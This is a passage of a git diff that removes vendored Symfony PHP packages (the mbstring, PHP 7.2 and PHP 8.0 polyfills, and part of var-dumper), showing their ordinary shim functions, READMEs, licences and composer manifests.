'𞥁' => '𞤟', - '𞥂' => '𞤠', - '𞥃' => '𞤡', -); diff --git a/vendor/symfony/polyfill-mbstring/bootstrap.php b/vendor/symfony/polyfill-mbstring/bootstrap.php deleted file mode 100644 index d0a93d4..0000000 --- a/vendor/symfony/polyfill-mbstring/bootstrap.php +++ /dev/null @@ -1,147 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -use Symfony\Polyfill\Mbstring as p; - -if (!function_exists('mb_convert_encoding')) { - function mb_convert_encoding($string, $to_encoding, $from_encoding = null) { return p\Mbstring::mb_convert_encoding($string, $to_encoding, $from_encoding); } -} -if (!function_exists('mb_decode_mimeheader')) { - function mb_decode_mimeheader($string) { return p\Mbstring::mb_decode_mimeheader($string); } -} -if (!function_exists('mb_encode_mimeheader')) { - function mb_encode_mimeheader($string, $charset = null, $transfer_encoding = null, $newline = null, $indent = null) { return p\Mbstring::mb_encode_mimeheader($string, $charset, $transfer_encoding, $newline, $indent); } -} -if (!function_exists('mb_decode_numericentity')) { - function mb_decode_numericentity($string, $map, $encoding = null) { return p\Mbstring::mb_decode_numericentity($string, $map, $encoding); } -} -if (!function_exists('mb_encode_numericentity')) { - function mb_encode_numericentity($string, $map, $encoding = null, $hex = false) { return p\Mbstring::mb_encode_numericentity($string, $map, $encoding, $hex); } -} -if (!function_exists('mb_convert_case')) { - function mb_convert_case($string, $mode, $encoding = null) { return p\Mbstring::mb_convert_case($string, $mode, $encoding); } -} -if (!function_exists('mb_internal_encoding')) { - function mb_internal_encoding($encoding = null) { return p\Mbstring::mb_internal_encoding($encoding); } -} -if (!function_exists('mb_language')) { - function mb_language($language = null) { return p\Mbstring::mb_language($language); } -} -if (!function_exists('mb_list_encodings')) { - function mb_list_encodings() { return p\Mbstring::mb_list_encodings(); } -} -if (!function_exists('mb_encoding_aliases')) { - function mb_encoding_aliases($encoding) { return p\Mbstring::mb_encoding_aliases($encoding); } -} -if (!function_exists('mb_check_encoding')) { - function mb_check_encoding($value = null, $encoding = null) { return p\Mbstring::mb_check_encoding($value, $encoding); } -} -if (!function_exists('mb_detect_encoding')) { - function mb_detect_encoding($string, $encodings = null, $strict = false) { return p\Mbstring::mb_detect_encoding($string, $encodings, $strict); } -} -if (!function_exists('mb_detect_order')) { - function mb_detect_order($encoding = null) { return p\Mbstring::mb_detect_order($encoding); } -} -if (!function_exists('mb_parse_str')) { - function mb_parse_str($string, &$result = array()) { parse_str($string, $result); } -} -if (!function_exists('mb_strlen')) { - function mb_strlen($string, $encoding = null) { return p\Mbstring::mb_strlen($string, $encoding); } -} -if (!function_exists('mb_strpos')) { - function mb_strpos($haystack, $needle, $offset = 0, $encoding = null) { return p\Mbstring::mb_strpos($haystack, $needle, $offset, $encoding); } -} -if (!function_exists('mb_strtolower')) { - function mb_strtolower($string, $encoding = null) { return p\Mbstring::mb_strtolower($string, $encoding); } -} -if (!function_exists('mb_strtoupper')) { - function mb_strtoupper($string, $encoding = null) { return p\Mbstring::mb_strtoupper($string, $encoding); } -} -if (!function_exists('mb_substitute_character')) { - function mb_substitute_character($substitute_character = null) { return p\Mbstring::mb_substitute_character($substitute_character); } -} -if (!function_exists('mb_substr')) { - function mb_substr($string, $start, $length = 2147483647, $encoding = null) { return p\Mbstring::mb_substr($string, $start, $length, $encoding); } -} -if (!function_exists('mb_stripos')) { - function mb_stripos($haystack, $needle, $offset = 0, $encoding = null) { return p\Mbstring::mb_stripos($haystack, $needle, $offset, $encoding); } -} -if (!function_exists('mb_stristr')) { - function mb_stristr($haystack, $needle, $before_needle = false, $encoding = null) { return p\Mbstring::mb_stristr($haystack, $needle, $before_needle, $encoding); } -} -if (!function_exists('mb_strrchr')) { - function mb_strrchr($haystack, $needle, $before_needle = false, $encoding = null) { return p\Mbstring::mb_strrchr($haystack, $needle, $before_needle, $encoding); } -} -if (!function_exists('mb_strrichr')) { - function mb_strrichr($haystack, $needle, $before_needle = false, $encoding = null) { return p\Mbstring::mb_strrichr($haystack, $needle, $before_needle, $encoding); } -} -if (!function_exists('mb_strripos')) { - function mb_strripos($haystack, $needle, $offset = 0, $encoding = null) { return p\Mbstring::mb_strripos($haystack, $needle, $offset, $encoding); } -} -if (!function_exists('mb_strrpos')) { - function mb_strrpos($haystack, $needle, $offset = 0, $encoding = null) { return p\Mbstring::mb_strrpos($haystack, $needle, $offset, $encoding); } -} -if (!function_exists('mb_strstr')) { - function mb_strstr($haystack, $needle, $before_needle = false, $encoding = null) { return p\Mbstring::mb_strstr($haystack, $needle, $before_needle, $encoding); } -} -if (!function_exists('mb_get_info')) { - function mb_get_info($type = 'all') { return p\Mbstring::mb_get_info($type); } -} -if (!function_exists('mb_http_output')) { - function mb_http_output($encoding = null) { return p\Mbstring::mb_http_output($encoding); } -} -if (!function_exists('mb_strwidth')) { - function mb_strwidth($string, $encoding = null) { return p\Mbstring::mb_strwidth($string, $encoding); } -} -if (!function_exists('mb_substr_count')) { - function mb_substr_count($haystack, $needle, $encoding = null) { return p\Mbstring::mb_substr_count($haystack, $needle, $encoding); } -} -if (!function_exists('mb_output_handler')) { - function mb_output_handler($string, $status) { return p\Mbstring::mb_output_handler($string, $status); } -} -if (!function_exists('mb_http_input')) { - function mb_http_input($type = '') { return p\Mbstring::mb_http_input($type); } -} - -if (!function_exists('mb_convert_variables')) { - if (PHP_VERSION_ID >= 80000) { - function mb_convert_variables($to_encoding, $from_encoding, &$var, &...$vars) { return p\Mbstring::mb_convert_variables($to_encoding, $from_encoding, $var, ...$vars); } - } else { - function mb_convert_variables($to_encoding, $from_encoding, &...$vars) { return p\Mbstring::mb_convert_variables($to_encoding, $from_encoding, ...$vars); } - } -} - -if (!function_exists('mb_ord')) { - function mb_ord($string, $encoding = null) { return p\Mbstring::mb_ord($string, $encoding); } -} -if (!function_exists('mb_chr')) { - function mb_chr($codepoint, $encoding = null) { return p\Mbstring::mb_chr($codepoint, $encoding); } -} -if (!function_exists('mb_scrub')) { - function mb_scrub($string, $encoding = null) { $encoding = null === $encoding ? mb_internal_encoding() : $encoding; return mb_convert_encoding($string, $encoding, $encoding); } -} -if (!function_exists('mb_str_split')) { - function mb_str_split($string, $length = 1, $encoding = null) { return p\Mbstring::mb_str_split($string, $length, $encoding); } -} - -if (extension_loaded('mbstring')) { - return; -} - -if (!defined('MB_CASE_UPPER')) { - define('MB_CASE_UPPER', 0); -} -if (!defined('MB_CASE_LOWER')) { - define('MB_CASE_LOWER', 1); -} -if (!defined('MB_CASE_TITLE')) { - define('MB_CASE_TITLE', 2); -} diff --git a/vendor/symfony/polyfill-mbstring/composer.json b/vendor/symfony/polyfill-mbstring/composer.json deleted file mode 100644 index ca4a839..0000000 --- a/vendor/symfony/polyfill-mbstring/composer.json +++ /dev/null @@ -1,38 +0,0 @@ -{ - "name": "symfony/polyfill-mbstring", - "type": "library", - "description": "Symfony polyfill for the Mbstring extension", - "keywords": ["polyfill", "shim", "compatibility", "portable", "mbstring"], - "homepage": "https://symfony.com", - "license": "MIT", - "authors": [ - { - "name": "Nicolas Grekas", - "email": "p@tchwork.com" - }, - { - "name": "Symfony Community", - "homepage": "https://symfony.com/contributors" - } - ], - "require": { - "php": ">=7.1" - }, - "autoload": { - "psr-4": { "Symfony\\Polyfill\\Mbstring\\": "" }, - "files": [ "bootstrap.php" ] - }, - "suggest": { - "ext-mbstring": "For best performance" - }, - "minimum-stability": "dev", - "extra": { - "branch-alias": { - "dev-main": "1.20-dev" - }, - "thanks": { - "name": "symfony/polyfill", - "url": "https://github.com/symfony/polyfill" - } - } -} diff --git a/vendor/symfony/polyfill-php72/LICENSE b/vendor/symfony/polyfill-php72/LICENSE deleted file mode 100644 index 4cd8bdd..0000000 --- a/vendor/symfony/polyfill-php72/LICENSE +++ /dev/null @@ -1,19 +0,0 @@ -Copyright (c) 2015-2019 Fabien Potencier - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is furnished -to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. diff --git a/vendor/symfony/polyfill-php72/Php72.php b/vendor/symfony/polyfill-php72/Php72.php deleted file mode 100644 index 1e36d5e..0000000 --- a/vendor/symfony/polyfill-php72/Php72.php +++ /dev/null @@ -1,217 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Polyfill\Php72; - -/** - * @author Nicolas Grekas - * @author Dariusz Rumiński - * - * @internal - */ -final class Php72 -{ - private static $hashMask; - - public static function utf8_encode($s) - { - $s .= $s; - $len = \strlen($s); - - for ($i = $len >> 1, $j = 0; $i < $len; ++$i, ++$j) { - switch (true) { - case $s[$i] < "\x80": $s[$j] = $s[$i]; break; - case $s[$i] < "\xC0": $s[$j] = "\xC2"; $s[++$j] = $s[$i]; break; - default: $s[$j] = "\xC3"; $s[++$j] = \chr(\ord($s[$i]) - 64); break; - } - } - - return substr($s, 0, $j); - } - - public static function utf8_decode($s) - { - $s = (string) $s; - $len = \strlen($s); - - for ($i = 0, $j = 0; $i < $len; ++$i, ++$j) { - switch ($s[$i] & "\xF0") { - case "\xC0": - case "\xD0": - $c = (\ord($s[$i] & "\x1F") << 6) | \ord($s[++$i] & "\x3F"); - $s[$j] = $c < 256 ? \chr($c) : '?'; - break; - - case "\xF0": - ++$i; - // no break - - case "\xE0": - $s[$j] = '?'; - $i += 2; - break; - - default: - $s[$j] = $s[$i]; - } - } - - return substr($s, 0, $j); - } - - public static function php_os_family() - { - if ('\\' === \DIRECTORY_SEPARATOR) { - return 'Windows'; - } - - $map = array( - 'Darwin' => 'Darwin', - 'DragonFly' => 'BSD', - 'FreeBSD' => 'BSD', - 'NetBSD' => 'BSD', - 'OpenBSD' => 'BSD', - 'Linux' => 'Linux', - 'SunOS' => 'Solaris', - ); - - return isset($map[PHP_OS]) ? $map[PHP_OS] : 'Unknown'; - } - - public static function spl_object_id($object) - { - if (null === self::$hashMask) { - self::initHashMask(); - } - if (null === $hash = spl_object_hash($object)) { - return; - } - - // On 32-bit systems, PHP_INT_SIZE is 4, - return self::$hashMask ^ hexdec(substr($hash, 16 - (\PHP_INT_SIZE * 2 - 1), (\PHP_INT_SIZE * 2 - 1))); - } - - public static function sapi_windows_vt100_support($stream, $enable = null) - { - if (!\is_resource($stream)) { - trigger_error('sapi_windows_vt100_support() expects parameter 1 to be resource, '.\gettype($stream).' given', E_USER_WARNING); - - return false; - } - - $meta = stream_get_meta_data($stream); - - if ('STDIO' !== $meta['stream_type']) { - trigger_error('sapi_windows_vt100_support() was not able to analyze the specified stream', E_USER_WARNING); - - return false; - } - - // We cannot actually disable vt100 support if it is set - if (false === $enable || !self::stream_isatty($stream)) { - return false; - } - - // The native function does not apply to stdin - $meta = array_map('strtolower', $meta); - $stdin = 'php://stdin' === $meta['uri'] || 'php://fd/0' === $meta['uri']; - - return !$stdin - && (false !== getenv('ANSICON') - || 'ON' === getenv('ConEmuANSI') - || 'xterm' === getenv('TERM') - || 'Hyper' === getenv('TERM_PROGRAM')); - } - - public static function stream_isatty($stream) - { - if (!\is_resource($stream)) { - trigger_error('stream_isatty() expects parameter 1 to be resource, '.\gettype($stream).' given', E_USER_WARNING); - - return false; - } - - if ('\\' === \DIRECTORY_SEPARATOR) { - $stat = @fstat($stream); - // Check if formatted mode is S_IFCHR - return $stat ? 0020000 === ($stat['mode'] & 0170000) : false; - } - - return \function_exists('posix_isatty') && @posix_isatty($stream); - } - - private static function initHashMask() - { - $obj = (object) array(); - self::$hashMask = -1; - - // check if we are nested in an output buffering handler to prevent a fatal error with ob_start() below - $obFuncs = array('ob_clean', 'ob_end_clean', 'ob_flush', 'ob_end_flush', 'ob_get_contents', 'ob_get_flush'); - foreach (debug_backtrace(\PHP_VERSION_ID >= 50400 ? DEBUG_BACKTRACE_IGNORE_ARGS : false) as $frame) { - if (isset($frame['function'][0]) && !isset($frame['class']) && 'o' === $frame['function'][0] && \in_array($frame['function'], $obFuncs)) { - $frame['line'] = 0; - break; - } - } - if (!empty($frame['line'])) { - ob_start(); - debug_zval_dump($obj); - self::$hashMask = (int) substr(ob_get_clean(), 17); - } - - self::$hashMask ^= hexdec(substr(spl_object_hash($obj), 16 - (\PHP_INT_SIZE * 2 - 1), (\PHP_INT_SIZE * 2 - 1))); - } - - public static function mb_chr($code, $encoding = null) - { - if (0x80 > $code %= 0x200000) { - $s = \chr($code); - } elseif (0x800 > $code) { - $s = \chr(0xC0 | $code >> 6).\chr(0x80 | $code & 0x3F); - } elseif (0x10000 > $code) { - $s = \chr(0xE0 | $code >> 12).\chr(0x80 | $code >> 6 & 0x3F).\chr(0x80 | $code & 0x3F); - } else { - $s = \chr(0xF0 | $code >> 18).\chr(0x80 | $code >> 12 & 0x3F).\chr(0x80 | $code >> 6 & 0x3F).\chr(0x80 | $code & 0x3F); - } - - if ('UTF-8' !== $encoding) { - $s = mb_convert_encoding($s, $encoding, 'UTF-8'); - } - - return $s; - } - - public static function mb_ord($s, $encoding = null) - { - if (null === $encoding) { - $s = mb_convert_encoding($s, 'UTF-8'); - } elseif ('UTF-8' !== $encoding) { - $s = mb_convert_encoding($s, 'UTF-8', $encoding); - } - - if (1 === \strlen($s)) { - return \ord($s); - } - - $code = ($s = unpack('C*', substr($s, 0, 4))) ? $s[1] : 0; - if (0xF0 <= $code) { - return (($code - 0xF0) << 18) + (($s[2] - 0x80) << 12) + (($s[3] - 0x80) << 6) + $s[4] - 0x80; - } - if (0xE0 <= $code) { - return (($code - 0xE0) << 12) + (($s[2] - 0x80) << 6) + $s[3] - 0x80; - } - if (0xC0 <= $code) { - return (($code - 0xC0) << 6) + $s[2] - 0x80; - } - - return $code; - } -} diff --git a/vendor/symfony/polyfill-php72/README.md b/vendor/symfony/polyfill-php72/README.md deleted file mode 100644 index 59dec8a..0000000 --- a/vendor/symfony/polyfill-php72/README.md +++ /dev/null @@ -1,28 +0,0 @@ -Symfony Polyfill / Php72 -======================== - -This component provides functions added to PHP 7.2 core: - -- [`spl_object_id`](https://php.net/spl_object_id) -- [`stream_isatty`](https://php.net/stream_isatty) - -On Windows only: - -- [`sapi_windows_vt100_support`](https://php.net/sapi_windows_vt100_support) - -Moved to core since 7.2 (was in the optional XML extension earlier): - -- [`utf8_encode`](https://php.net/utf8_encode) -- [`utf8_decode`](https://php.net/utf8_decode) - -Also, it provides constants added to PHP 7.2: -- [`PHP_FLOAT_*`](https://php.net/reserved.constants#constant.php-float-dig) -- [`PHP_OS_FAMILY`](https://php.net/reserved.constants#constant.php-os-family) - -More information can be found in the -[main Polyfill README](https://github.com/symfony/polyfill/blob/master/README.md). - -License -======= - -This library is released under the [MIT license](LICENSE). diff --git a/vendor/symfony/polyfill-php72/bootstrap.php b/vendor/symfony/polyfill-php72/bootstrap.php deleted file mode 100644 index 3154b2c..0000000 --- a/vendor/symfony/polyfill-php72/bootstrap.php +++ /dev/null @@ -1,57 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -use Symfony\Polyfill\Php72 as p; - -if (PHP_VERSION_ID >= 70200) { - return; -} - -if (!defined('PHP_FLOAT_DIG')) { - define('PHP_FLOAT_DIG', 15); -} -if (!defined('PHP_FLOAT_EPSILON')) { - define('PHP_FLOAT_EPSILON', 2.2204460492503E-16); -} -if (!defined('PHP_FLOAT_MIN')) { - define('PHP_FLOAT_MIN', 2.2250738585072E-308); -} -if (!defined('PHP_FLOAT_MAX')) { - define('PHP_FLOAT_MAX', 1.7976931348623157E+308); -} -if (!defined('PHP_OS_FAMILY')) { - define('PHP_OS_FAMILY', p\Php72::php_os_family()); -} - -if ('\\' === DIRECTORY_SEPARATOR && !function_exists('sapi_windows_vt100_support')) { - function sapi_windows_vt100_support($stream, $enable = null) { return p\Php72::sapi_windows_vt100_support($stream, $enable); } -} -if (!function_exists('stream_isatty')) { - function stream_isatty($stream) { return p\Php72::stream_isatty($stream); } -} -if (!function_exists('utf8_encode')) { - function utf8_encode($string) { return p\Php72::utf8_encode($string); } -} -if (!function_exists('utf8_decode')) { - function utf8_decode($string) { return p\Php72::utf8_decode($string); } -} -if (!function_exists('spl_object_id')) { - function spl_object_id($object) { return p\Php72::spl_object_id($object); } -} -if (!function_exists('mb_ord')) { - function mb_ord($string, $encoding = null) { return p\Php72::mb_ord($string, $encoding); } -} -if (!function_exists('mb_chr')) { - function mb_chr($codepoint, $encoding = null) { return p\Php72::mb_chr($codepoint, $encoding); } -} -if (!function_exists('mb_scrub')) { - function mb_scrub($string, $encoding = null) { $encoding = null === $encoding ? mb_internal_encoding() : $encoding; return mb_convert_encoding($string, $encoding, $encoding); } -} diff --git a/vendor/symfony/polyfill-php72/composer.json b/vendor/symfony/polyfill-php72/composer.json deleted file mode 100644 index 994443a..0000000 --- a/vendor/symfony/polyfill-php72/composer.json +++ /dev/null @@ -1,35 +0,0 @@ -{ - "name": "symfony/polyfill-php72", - "type": "library", - "description": "Symfony polyfill backporting some PHP 7.2+ features to lower PHP versions", - "keywords": ["polyfill", "shim", "compatibility", "portable"], - "homepage": "https://symfony.com", - "license": "MIT", - "authors": [ - { - "name": "Nicolas Grekas", - "email": "p@tchwork.com" - }, - { - "name": "Symfony Community", - "homepage": "https://symfony.com/contributors" - } - ], - "require": { - "php": ">=7.1" - }, - "autoload": { - "psr-4": { "Symfony\\Polyfill\\Php72\\": "" }, - "files": [ "bootstrap.php" ] - }, - "minimum-stability": "dev", - "extra": { - "branch-alias": { - "dev-main": "1.20-dev" - }, - "thanks": { - "name": "symfony/polyfill", - "url": "https://github.com/symfony/polyfill" - } - } -} diff --git a/vendor/symfony/polyfill-php80/LICENSE b/vendor/symfony/polyfill-php80/LICENSE deleted file mode 100644 index 5593b1d..0000000 --- a/vendor/symfony/polyfill-php80/LICENSE +++ /dev/null @@ -1,19 +0,0 @@ -Copyright (c) 2020 Fabien Potencier - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is furnished -to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. diff --git a/vendor/symfony/polyfill-php80/Php80.php b/vendor/symfony/polyfill-php80/Php80.php deleted file mode 100644 index c03491b..0000000 --- a/vendor/symfony/polyfill-php80/Php80.php +++ /dev/null @@ -1,105 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Polyfill\Php80; - -/** - * @author Ion Bazan - * @author Nico Oelgart - * @author Nicolas Grekas - * - * @internal - */ -final class Php80 -{ - public static function fdiv(float $dividend, float $divisor): float - { - return @($dividend / $divisor); - } - - public static function get_debug_type($value): string - { - switch (true) { - case null === $value: return 'null'; - case \is_bool($value): return 'bool'; - case \is_string($value): return 'string'; - case \is_array($value): return 'array'; - case \is_int($value): return 'int'; - case \is_float($value): return 'float'; - case \is_object($value): break; - case $value instanceof \__PHP_Incomplete_Class: return '__PHP_Incomplete_Class'; - default: - if (null === $type = @get_resource_type($value)) { - return 'unknown'; - } - - if ('Unknown' === $type) { - $type = 'closed'; - } - - return "resource ($type)"; - } - - $class = \get_class($value); - - if (false === strpos($class, '@')) { - return $class; - } - - return (get_parent_class($class) ?: key(class_implements($class)) ?: 'class').'@anonymous'; - } - - public static function get_resource_id($res): int - { - if (!\is_resource($res) && null === @get_resource_type($res)) { - throw new \TypeError(sprintf('Argument 1 passed to get_resource_id() must be of the type resource, %s given', get_debug_type($res))); - } - - return (int) $res; - } - - public static function preg_last_error_msg(): string - { - switch (preg_last_error()) { - case PREG_INTERNAL_ERROR: - return 'Internal error'; - case PREG_BAD_UTF8_ERROR: - return 'Malformed UTF-8 characters, possibly incorrectly encoded'; - case PREG_BAD_UTF8_OFFSET_ERROR: - return 'The offset did not correspond to the beginning of a valid UTF-8 code point'; - case PREG_BACKTRACK_LIMIT_ERROR: - return 'Backtrack limit exhausted'; - case PREG_RECURSION_LIMIT_ERROR: - return 'Recursion limit exhausted'; - case PREG_JIT_STACKLIMIT_ERROR: - return 'JIT stack limit exhausted'; - case PREG_NO_ERROR: - return 'No error'; - default: - return 'Unknown error'; - } - } - - public static function str_contains(string $haystack, string $needle): bool - { - return '' === $needle || false !== strpos($haystack, $needle); - } - - public static function str_starts_with(string $haystack, string $needle): bool - { - return 0 === \strncmp($haystack, $needle, \strlen($needle)); - } - - public static function str_ends_with(string $haystack, string $needle): bool - { - return '' === $needle || ('' !== $haystack && 0 === \substr_compare($haystack, $needle, -\strlen($needle))); - } -} diff --git a/vendor/symfony/polyfill-php80/README.md b/vendor/symfony/polyfill-php80/README.md deleted file mode 100644 index eaa3050..0000000 --- a/vendor/symfony/polyfill-php80/README.md +++ /dev/null @@ -1,24 +0,0 @@ -Symfony Polyfill / Php80 -======================== - -This component provides features added to PHP 8.0 core: - -- `Stringable` interface -- [`fdiv`](https://php.net/fdiv) -- `ValueError` class -- `UnhandledMatchError` class -- `FILTER_VALIDATE_BOOL` constant -- [`get_debug_type`](https://php.net/get_debug_type) -- [`preg_last_error_msg`](https://php.net/preg_last_error_msg) -- [`str_contains`](https://php.net/str_contains) -- [`str_starts_with`](https://php.net/str_starts_with) -- [`str_ends_with`](https://php.net/str_ends_with) -- [`get_resource_id`](https://php.net/get_resource_id) - -More information can be found in the -[main Polyfill README](https://github.com/symfony/polyfill/blob/master/README.md). - -License -======= - -This library is released under the [MIT license](LICENSE). diff --git a/vendor/symfony/polyfill-php80/Resources/stubs/Attribute.php b/vendor/symfony/polyfill-php80/Resources/stubs/Attribute.php deleted file mode 100644 index 8f9e679..0000000 --- a/vendor/symfony/polyfill-php80/Resources/stubs/Attribute.php +++ /dev/null @@ -1,22 +0,0 @@ -flags = $flags; - } -} diff --git a/vendor/symfony/polyfill-php80/Resources/stubs/Stringable.php b/vendor/symfony/polyfill-php80/Resources/stubs/Stringable.php deleted file mode 100644 index 77e037c..0000000 --- a/vendor/symfony/polyfill-php80/Resources/stubs/Stringable.php +++ /dev/null @@ -1,11 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -use Symfony\Polyfill\Php80 as p; - -if (PHP_VERSION_ID >= 80000) { - return; -} - -if (!defined('FILTER_VALIDATE_BOOL') && defined('FILTER_VALIDATE_BOOLEAN')) { - define('FILTER_VALIDATE_BOOL', FILTER_VALIDATE_BOOLEAN); -} - -if (!function_exists('fdiv')) { - function fdiv(float $num1, float $num2): float { return p\Php80::fdiv($num1, $num2); } -} -if (!function_exists('preg_last_error_msg')) { - function preg_last_error_msg(): string { return p\Php80::preg_last_error_msg(); } -} -if (!function_exists('str_contains')) { - function str_contains(string $haystack, string $needle): bool { return p\Php80::str_contains($haystack, $needle); } -} -if (!function_exists('str_starts_with')) { - function str_starts_with(string $haystack, string $needle): bool { return p\Php80::str_starts_with($haystack, $needle); } -} -if (!function_exists('str_ends_with')) { - function str_ends_with(string $haystack, string $needle): bool { return p\Php80::str_ends_with($haystack, $needle); } -} -if (!function_exists('get_debug_type')) { - function get_debug_type($value): string { return p\Php80::get_debug_type($value); } -} -if (!function_exists('get_resource_id')) { - function get_resource_id($res): int { return p\Php80::get_resource_id($res); } -} diff --git a/vendor/symfony/polyfill-php80/composer.json b/vendor/symfony/polyfill-php80/composer.json deleted file mode 100644 index 8ad4c31..0000000 --- a/vendor/symfony/polyfill-php80/composer.json +++ /dev/null @@ -1,40 +0,0 @@ -{ - "name": "symfony/polyfill-php80", - "type": "library", - "description": "Symfony polyfill backporting some PHP 8.0+ features to lower PHP versions", - "keywords": ["polyfill", "shim", "compatibility", "portable"], - "homepage": "https://symfony.com", - "license": "MIT", - "authors": [ - { - "name": "Ion Bazan", - "email": "ion.bazan@gmail.com" - }, - { - "name": "Nicolas Grekas", - "email": "p@tchwork.com" - }, - { - "name": "Symfony Community", - "homepage": "https://symfony.com/contributors" - } - ], - "require": { - "php": ">=7.1" - }, - "autoload": { - "psr-4": { "Symfony\\Polyfill\\Php80\\": "" }, - "files": [ "bootstrap.php" ], - "classmap": [ "Resources/stubs" ] - }, - "minimum-stability": "dev", - "extra": { - "branch-alias": { - "dev-main": "1.20-dev" - }, - "thanks": { - "name": "symfony/polyfill", - "url": "https://github.com/symfony/polyfill" - } - } -} diff --git a/vendor/symfony/var-dumper/CHANGELOG.md b/vendor/symfony/var-dumper/CHANGELOG.md deleted file mode 100644 index 94b1c17..0000000 --- a/vendor/symfony/var-dumper/CHANGELOG.md +++ /dev/null @@ -1,53 +0,0 @@ -CHANGELOG -========= - -4.4.0 ------ - - * added `VarDumperTestTrait::setUpVarDumper()` and `VarDumperTestTrait::tearDownVarDumper()` - to configure casters & flags to use in tests - * added `ImagineCaster` and infrastructure to dump images - * added the stamps of a message after it is dispatched in `TraceableMessageBus` and `MessengerDataCollector` collected data - * added `UuidCaster` - * made all casters final - * added support for the `NO_COLOR` env var (https://no-color.org/) - -4.3.0 ------ - - * added `DsCaster` to support dumping the contents of data structures from the Ds extension - -4.2.0 ------ - - * support selecting the format to use by setting the environment variable `VAR_DUMPER_FORMAT` to `html` or `cli` - -4.1.0 ------ - - * added a `ServerDumper` to send serialized Data clones to a server - * added a `ServerDumpCommand` and `DumpServer` to run a server collecting - and displaying dumps on a single place with multiple formats support - * added `CliDescriptor` and `HtmlDescriptor` descriptors for `server:dump` CLI and HTML formats support - -4.0.0 ------ - - * support for passing `\ReflectionClass` instances to the `Caster::castObject()` - method has been dropped, pass class names as strings instead - * the `Data::getRawData()` method has been removed - * the `VarDumperTestTrait::assertDumpEquals()` method expects a 3rd `$filter = 0` - argument and moves `$message = ''` argument at 4th position. - * the `VarDumperTestTrait::assertDumpMatchesFormat()` method expects a 3rd `$filter = 0` - argument and moves `$message = ''` argument at 4th position. - -3.4.0 ------ - - * added `AbstractCloner::setMinDepth()` function to ensure minimum tree depth - * deprecated `MongoCaster` - -2.7.0 ------ - - * deprecated `Cloner\Data::getLimitedClone()`. Use `withMaxDepth`, `withMaxItemsPerDepth` or `withRefHandles` instead. diff --git a/vendor/symfony/var-dumper/Caster/AmqpCaster.php b/vendor/symfony/var-dumper/Caster/AmqpCaster.php deleted file mode 100644 index b81043b..0000000 --- a/vendor/symfony/var-dumper/Caster/AmqpCaster.php +++ /dev/null @@ -1,212 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Caster; - -use Symfony\Component\VarDumper\Cloner\Stub; - -/** - * Casts Amqp related classes to array representation. - * - * @author Grégoire Pineau - * - * @final since Symfony 4.4 - */ -class AmqpCaster -{ - private static $flags = [ - \AMQP_DURABLE => 'AMQP_DURABLE', - \AMQP_PASSIVE => 'AMQP_PASSIVE', - \AMQP_EXCLUSIVE => 'AMQP_EXCLUSIVE', - \AMQP_AUTODELETE => 'AMQP_AUTODELETE', - \AMQP_INTERNAL => 'AMQP_INTERNAL', - \AMQP_NOLOCAL => 'AMQP_NOLOCAL', - \AMQP_AUTOACK => 'AMQP_AUTOACK', - \AMQP_IFEMPTY => 'AMQP_IFEMPTY', - \AMQP_IFUNUSED => 'AMQP_IFUNUSED', - \AMQP_MANDATORY => 'AMQP_MANDATORY', - \AMQP_IMMEDIATE => 'AMQP_IMMEDIATE', - \AMQP_MULTIPLE => 'AMQP_MULTIPLE', - \AMQP_NOWAIT => 'AMQP_NOWAIT', - \AMQP_REQUEUE => 'AMQP_REQUEUE', - ]; - - private static $exchangeTypes = [ - \AMQP_EX_TYPE_DIRECT => 'AMQP_EX_TYPE_DIRECT', - \AMQP_EX_TYPE_FANOUT => 'AMQP_EX_TYPE_FANOUT', - \AMQP_EX_TYPE_TOPIC => 'AMQP_EX_TYPE_TOPIC', - \AMQP_EX_TYPE_HEADERS => 'AMQP_EX_TYPE_HEADERS', - ]; - - public static function castConnection(\AMQPConnection $c, array $a, Stub $stub, $isNested) - { - $prefix = Caster::PREFIX_VIRTUAL; - - $a += [ - $prefix.'is_connected' => $c->isConnected(), - ]; - - // Recent version of the extension already expose private properties - if (isset($a["\x00AMQPConnection\x00login"])) { - return $a; - } - - // BC layer in the amqp lib - if (method_exists($c, 'getReadTimeout')) { - $timeout = 